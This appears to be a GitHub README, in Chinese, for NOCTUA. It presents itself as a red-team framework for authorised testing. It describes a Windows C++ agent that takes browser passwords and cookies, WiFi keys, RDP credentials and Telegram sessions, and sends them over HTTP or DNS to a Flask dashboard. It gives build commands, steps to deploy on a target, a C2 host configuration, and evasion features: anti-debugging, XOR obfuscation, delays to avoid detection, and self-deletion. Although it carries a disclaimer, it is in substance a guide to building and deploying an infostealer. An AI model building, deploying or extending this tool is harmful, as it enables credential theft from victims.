Adam-ZS/NOCTUA
GitHub: Adam-ZS/NOCTUA
NOCTUA 是一个面向授权红队测试的双组件凭据采集框架,通过 Windows C++ Agent 提取浏览器、WiFi、RDP 和 Telegram 凭据,并在 Flask 毛玻璃仪表盘中进行集中分析。
Stars: 1 | Forks: 0
# 🦉 NOCTUA - Credential Intelligence Framework
```
████████╗██╗ ██╗███████╗ ███╗ ██╗ ██████╗ ██████╗████████╗██╗ ██╗ █████╗
╚══██╔══╝██║ ██║██╔════╝ ████╗ ██║██╔═══██╗██╔════╝╚══██╔══╝██║ ██║██╔══██╗
██║ ███████║█████╗ ██╔██╗ ██║██║ ██║██║ ██║ ██║ ██║███████║
██║ ██╔══██║██╔══╝ ██║╚██╗██║██║ ██║██║ ██║ ██║ ██║██╔══██║
██║ ██║ ██║███████╗ ██║ ╚████║╚██████╔╝╚██████╗ ██║ ╚██████╔╝██║ ██║
╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝
```
*Copyright (c) 2025 Adam-ZS — https://github.com/Adam-ZS*
[]()
[]()
[]()
[]()
**NOCTUA** 是一个双组件 credential 评估框架,专为授权的安全测试和教育目的而设计。它由一个用于 credential 收集的 Windows agent 和一个基于 Flask 的 Web dashboard(带有毛玻璃深色 UI 用于数据分析)组成。
## ⚠️ 法律免责声明
## ✨ 功能
### Agent
- 🔐 通过 SQLite + DPAPI 收割 **Chrome / Edge / Brave / Opera / Vivaldi** 密码
- 🌐 从基于 Chromium 的浏览器中**提取 Cookie**
- 📡 通过 WLAN API 获取 **WiFi credentials**(带有明文密钥的 WlanGetProfile)
- 🖥️ 从凭据管理器(TermSrv/TerminalServer)获取 **RDP credentials**
- 💬 **Telegram session** 提取(authkey、maps、USERS 文件)
- 🛡️ **反调试**保护(IsDebuggerPresent、NtGlobalFlag、RDTSC 计时)
- 🔒 在编译时和运行时进行 **XOR 字符串混淆**
- 📤 **多种外发方法**:HTTP POST、DNS TXT 查询、本地文件
- 🔄 用于 HTTP 外发的 **User-agent 轮换**
- 🧵 带有交错延迟的**多线程收集**
- 🗑️ 通过批处理脚本实现**自删除**选项
- 🔍 **单实例**互斥锁保护
### Dashboard
- 🎨 带有 backdrop-filter 模糊效果的**毛玻璃深色 UI**
- 📊 **实时统计**(总数、类别细分)
- 🔍 按关键字、目标类型、类别进行**搜索和过滤**
- 📋 一键**复制**密码和完整 credentials
- 📥 **导出**为 JSON 和 CSV 格式
- 🗑️ **Credential 管理**(删除单个、可见或全部)
- 🔄 每 3 秒**自动轮询**并显示连接状态
- 🎯 适用于桌面和移动设备的**响应式设计**
- 📱 所有操作的 **Toast 通知**
## 🏗️ 架构
```
┌─────────────────────────────────────────────────────────────────────┐
│ TARGET WINDOWS SYSTEM │
│ │
│ ┌───────────┐ ┌──────────┐ ┌───────────┐ ┌──────────────────┐ │
│ │ Chrome/ │ │ WLAN │ │ Cred │ │ Telegram │ │
│ │ Edge/Brave│ │ API │ │ Manager │ │ tdata │ │
│ │ DPAPI │ │ WiFi │ │ RDP │ │ Session │ │
│ └─────┬─────┘ └────┬─────┘ └─────┬─────┘ └───────┬──────────┘ │
│ │ │ │ │ │
│ └──────────────┴──────────────┴────────────────┘ │
│ │ │
│ ┌──────▼──────┐ │
│ │ NOCTUA │ │
│ │ Agent │ │
│ │ (C++ .exe) │ │
│ └──────┬──────┘ │
│ │ │
│ ┌───────────┴───────────┐ │
│ │ Exfiltration │ │
│ │ HTTP / DNS / File │ │
│ └───────────┬───────────┘ │
└────────────────────────────────┼─────────────────────────────────────┘
│
┌────────────▼────────────┐
│ Flask Dashboard │
│ (Python / SQLite) │
│ POST /api/collect │
│ GET /api/data │
└─────────────────────────┘
```
## 📦 组件
### Agent (`agent/`)
| 文件 | 描述 |
|------|-------------|
| `src/main.cpp` | WinMain 入口、反调试、线程管理、自删除 |
| `src/obfuscate.h` | XOR 编译时/运行时字符串加密、反调试辅助函数 |
| `src/config.h` | XOR 混淆的编译时配置宏 |
| `src/dumper.h` | 带有实用工具函数的抽象 dumper 基类 |
| `src/chrome.cpp` | Chrome/Edge/Brave/Opera/Vivaldi 密码和 cookie dumper |
| `src/wifi.cpp` | 通过 WLAN API 获取 WiFi credentials |
| `src/rdp.cpp` | 通过 CredEnumerateW + .rdp 文件解析获取 RDP credentials |
| `src/telegram.cpp` | Telegram Desktop session 提取 |
| `src/exfil.cpp` | JSON 序列化、HTTP/DNS/文件外发 |
| `CMakeLists.txt` | CMake 交叉编译配置 |
| `Makefile` | 简单的 MinGW makefile |
### Dashboard (`dashboard/`)
| 文件 | 描述 |
|------|-------------|
| `app.py` | 带有 REST API + SQLite 存储的 Flask 应用程序 |
| `requirements.txt` | Python 依赖项 |
| `templates/index.html` | 毛玻璃 dashboard HTML |
| `static/css/style.css` | 完整的毛玻璃深色主题 CSS |
| `static/js/app.js` | 自动轮询、搜索、复制、导出、Toast 通知 JS |
## 🚀 快速开始
### Dashboard 设置
```
# 安装依赖
cd dashboard
pip install -r requirements.txt
# 运行 dashboard
python app.py
# → 正在监听 http://0.0.0.0:5000
```
### Agent 构建(Linux 交叉编译)
```
# 安装 MinGW cross-compiler
sudo apt-get install mingw-w64 upx-ucl
# 使用 Make 构建
cd agent
make
# 或使用 CMake
mkdir build && cd build
cmake .. -DCMAKE_TOOLCHAIN_FILE=../cmake/mingw-toolchain.cmake
make
# 输出:noctua_agent.exe
```
### Agent 构建(Windows 原生)
```
# 使用 Visual Studio Developer Command Prompt
cl /EHsc /Fe:noctua_agent.exe src/*.cpp /link crypt32.lib secur32.lib wininet.lib ws2_32.lib ole32.lib credui.lib wlanapi.lib shlwapi.lib shell32.lib /SUBSYSTEM:WINDOWS
```
### 部署
1. 启动 dashboard:`python app.py`
2. 在目标 Windows 系统上部署 `noctua_agent.exe`
3. Agent 收集 credentials 并通过 HTTP POST 发送到 dashboard
4. 在 `http://your-server:5000` 查看收集的数据
## 📡 API 参考
| 方法 | Endpoint | 描述 |
|--------|----------|-------------|
| `GET` | `/` | Dashboard UI |
| `POST` | `/api/collect` | 接收来自 agent 的 credentials |
| `GET` | `/api/data` | 获取 credentials(支持搜索/过滤/分页) |
| `DELETE` | `/api/data` | 删除 credentials(全部 / 按 id / 按目标) |
| `GET` | `/api/stats` | 获取 credential 统计信息 |
| `GET` | `/api/export/json` | 将 credentials 导出为 JSON |
| `GET` | `/api/export/csv` | 将 credentials 导出为 CSV |
| `GET` | `/api/config` | 获取配置 |
| `POST` | `/api/config` | 更新配置 |
| `GET` | `/api/health` | 健康检查 |
### POST /api/collect 示例
```
{
"computer_name": "DESKTOP-ABC123",
"username": "jdoe",
"credentials": [
{
"target": "Chrome",
"username": "admin@example.com",
"password": "P@ssw0rd!",
"url": "https://example.com/login",
"notes": "Chrome Login Data"
},
{
"target": "WiFi",
"username": "Corp-Network",
"password": "WiFiP@ss!",
"url": "",
"notes": "Interface: Intel Wi-Fi 6 AX201"
}
]
}
```
## 🔒 OPSEC 考量
- **XOR 混淆**保护二进制文件中的静态字符串
- **反调试**检查有助于防止在沙箱环境中进行分析
- 启动线程之间的**交错延迟**以避免行为检测
- 用于 HTTP 外发流量的 **User-agent 轮换**
- 当 HTTP 被阻止时,使用 **DNS 外发**作为后备
- 用于基于文件的外发的**隐藏文件属性**
- **自删除**选项以在执行后删除痕迹
- **单实例互斥锁**防止多个并发执行
## 🛠️ 自定义
编辑 `agent/src/config.h` 以配置:
```
#define C2_HOST XOR_LIT("your-server.com") // C2 server
#define C2_PORT XOR_LIT("5000") // C2 port
#define EXFIL_METHOD XOR_LIT("http") // http, dns, file
#define SELF_DELETE XOR_LIT("0") // 1 to enable
```
## 📚 要求
### Agent 构建
- MinGW-w64 (Linux) 或 MSVC (Windows)
- Windows SDK 头文件(随 MinGW/MSVC 提供)
### Dashboard
- Python 3.8+
- Flask 2.3+
- Flask-CORS
## 🧪 兼容性
| 浏览器 | 密码 | Cookie |
|---------|-----------|---------|
| Google Chrome | ✅ | ✅ |
| Microsoft Edge | ✅ | ✅ |
| Brave Browser | ✅ | ✅ |
| Opera | ✅ | ❌ |
| Vivaldi | ✅ | ❌ |
| 功能 | 状态 |
|---------|--------|
| WiFi (WPA/WPA2) | ✅ |
| RDP Credential Manager | ✅ |
| RDP .rdp 文件 | ✅ |
| Telegram Desktop | ✅ |
## 📄 许可证
Copyright (c) 2025 **Adam-ZS** — https://github.com/Adam-ZS
**仅供教育用途** — 完整条款请参阅 [LICENSE](LICENSE)。
未经授权访问计算机系统是非法的。在对您不拥有的任何系统进行测试之前,您必须获得明确的书面许可。
*由 [Adam-ZS](https://github.com/Adam-ZS) 使用 🦉 构建,用于授权测试和教育。*
标签:Bash脚本, C++, Flask, 凭证收集, 多模态安全, 数据可视化, 数据擦除, 网络安全, 逆向工具, 隐私保护